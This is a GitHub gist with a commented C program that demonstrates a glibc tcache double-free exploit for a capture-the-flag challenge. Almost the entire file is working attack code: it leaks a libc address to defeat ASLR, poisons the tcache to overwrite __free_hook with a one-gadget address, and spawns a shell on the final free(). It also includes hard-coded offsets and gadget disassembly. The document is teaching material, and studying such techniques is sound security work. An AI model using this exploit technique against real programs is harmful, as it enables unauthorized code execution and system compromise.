Created
March 25, 2019 22:09
-
-
Save stevenjohnstone/60f68959fa82ccfba70841ef4be7eab6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <assert.h> | |
#include <dlfcn.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <stdint.h> | |
// Background reading: http://tukan.farm/2017/07/08/tcache/ | |
const size_t msize = 0x100; | |
// When a free() is called, the memory can be added to the tcache. | |
// An entry in the cache is simply a pointer to a tcache_entry which | |
// is stored in the usable area of the malloc allocation which has | |
// just been freed. | |
typedef struct tcache_entry | |
{ | |
struct tcache_entry *next; | |
} tcache_entry; | |
// Let's play with the tcache to see what it does! | |
void learn_me_a_tcache_for_great_good() { | |
// Let's fill up a tcache bucket. A bucket has at most | |
// 7 entries. | |
const size_t tcache_bucket_size = 7; | |
void *allocations[tcache_bucket_size]; | |
for (size_t i = 0; i < tcache_bucket_size; i++) { | |
allocations[i] = malloc(msize); | |
} | |
// free the allocations to fill the bucket | |
for (size_t i = 0; i < tcache_bucket_size; i++) { | |
free(allocations[i]); | |
} | |
// Let's walk the list of tcache entries and assert | |
// some properties which should make it clearer what's | |
// going on. | |
// Note that the usable area of the memory allocation we just | |
// freed is used to hold the tcache_entry. | |
// The bucket is LIFO so we start with the last allocation | |
// to be freed. | |
tcache_entry *ptr= allocations[tcache_bucket_size - 1]; | |
// Now let's walk the bucket list (pardon the pun) | |
for (size_t i = 1; i < tcache_bucket_size; i++) { | |
// See what's going on? There's a linked list joining up all | |
// these allocations which are kept available for quick allocation | |
// of similarly sized chunks of memory | |
assert((void *)ptr == allocations[tcache_bucket_size -i]); | |
ptr = ptr->next; | |
} | |
} | |
// run me with e.g. "gcc main -ldl && LD_PRELOAD=./libc.so.6 ./a.out" to pop a shell | |
int main(int argc , char* argv[]) | |
{ | |
// This is a demonstration of popping a shell when you have the following: | |
// * a leak of an address in libc (to defeat ASLR) | |
// * a double free | |
// * ability to allocate and free chunks of memory of size msize | |
// * write to pointers we get from allocations | |
// | |
// These are pretty much the conditions of the ice_t_cache_v2 CTF problem | |
// | |
void *handle = dlopen(NULL, RTLD_NOW); | |
assert(handle); | |
// Leak printf address just like in the challenge | |
void *printf_addr = dlsym(handle, "printf"); | |
assert(printf_addr); | |
dlclose(handle); | |
// The libc we are given has this for the printf offset | |
// 627: 0000000000064e80 195 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5 | |
// This can be used to calculate where libc is in memory. Remember: ASLR is | |
// enabled | |
void *libc_base = printf_addr - 0x64e80; | |
learn_me_a_tcache_for_great_good(); | |
// Make sure there's at least one space in the bucket | |
// Due to our playing around in learn_me_a_tcache_for_great_good, | |
// we need to make a slot available in the tcache bucket | |
// for our exploit to work. This would be the kind of thing you may | |
// have to do in a real exploit where there could have been | |
// any number of previous allocations filling up buckets. | |
malloc(msize); | |
void *victim = malloc(msize); | |
// One of our stated power is to double free... | |
free(victim); | |
free(victim); | |
// Now the tcache has two entries backed by the same chunk of memory. This means | |
// that two calls to malloc(msize) will return the same pointer! | |
// In particular, when we allocate a new note 'victim' will point to it. | |
// In addition 'victim' will also be an entry in the tcache and 'victim' will point | |
// to the "next" pointer of this tcache entry. Overwrite it with | |
// the address of __free_hook://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html | |
// The free hook is run with very little checking done on the input to free() | |
// and before the real action happens. Perfect for spawning our shell. | |
// | |
// The libc for the challenge has free hook as follows: | |
// 221: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5 | |
void *freehook_addr = libc_base + 0x3ed8e8; | |
tcache_entry freehook = { .next = freehook_addr }; | |
// We use a "one gadget RCE". There's a path in libc which basically starts a shell | |
// for you: https://j00ru.vexillium.org/slides/2015/insomnihack.pdf. You can find this | |
// with radare by searching for the string "/bin/sh" and finding XREFs. | |
// From radare2: | |
//│ 0x0004f322 488b057fbb39. mov rax, qword [reloc.__environ_168] ; [0x3eaea8:8]=0 ; moves data from src to dst ; rax=0x0 | |
//│ 0x0004f329 488d3d6a4b16. lea rdi, str.bin_sh ; 0x1b3e9a ; "/bin/sh" ; load effective address ; rdi=0x1b3e9a -> 0x6e69622f | |
//│ 0x0004f330 488d742440 lea rsi, [local_40h] ; case.0x15d8cc.1 ; 0x40 ; load effective address ; rsi=0x40 -> 0x301 | |
//│ 0x0004f335 c705a1e23900. mov dword [0x003ed5e0], 0 ; [0x3ed5e0:4]=0 ; moves data from src to dst | |
//│ 0x0004f33f c7059be23900. mov dword [0x003ed5e4], 0 ; [0x3ed5e4:4]=0 ; moves data from src to dst | |
//│ 0x0004f349 488b10 mov rdx, qword [rax] ; moves data from src to dst | |
//│ 0x0004f34c e8df5a0900 call sym.execve ; calls a subroutine, push eip into the stack (esp) ; rsp=0xfffffffffffffff8 ; rip=0xe4e30 -> 0xa96f0e10 | |
// | |
// By setting the free hook to this address, when we free a note, this path will spawn a shell! | |
void *gadget_addr = libc_base + 0x4f322; | |
// Let's make use of our power to write to pointers from our allocations | |
victim = malloc(msize); | |
memcpy(victim, &freehook, sizeof(freehook)); | |
// Do another allocation just to get rid of the corrupted tcache entry | |
victim = malloc(msize); | |
// The next allocation will now point to the free hook address. Overwrite it | |
// with our one gadget RCE | |
tcache_entry gadget = { .next = gadget_addr }; | |
void *points_to_free_hook = malloc(msize); | |
memcpy(points_to_free_hook, &gadget, sizeof(gadget)); | |
// Now that free hook has been overwritten, calling free will trigger a shell to | |
// be spawned | |
free(points_to_free_hook); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment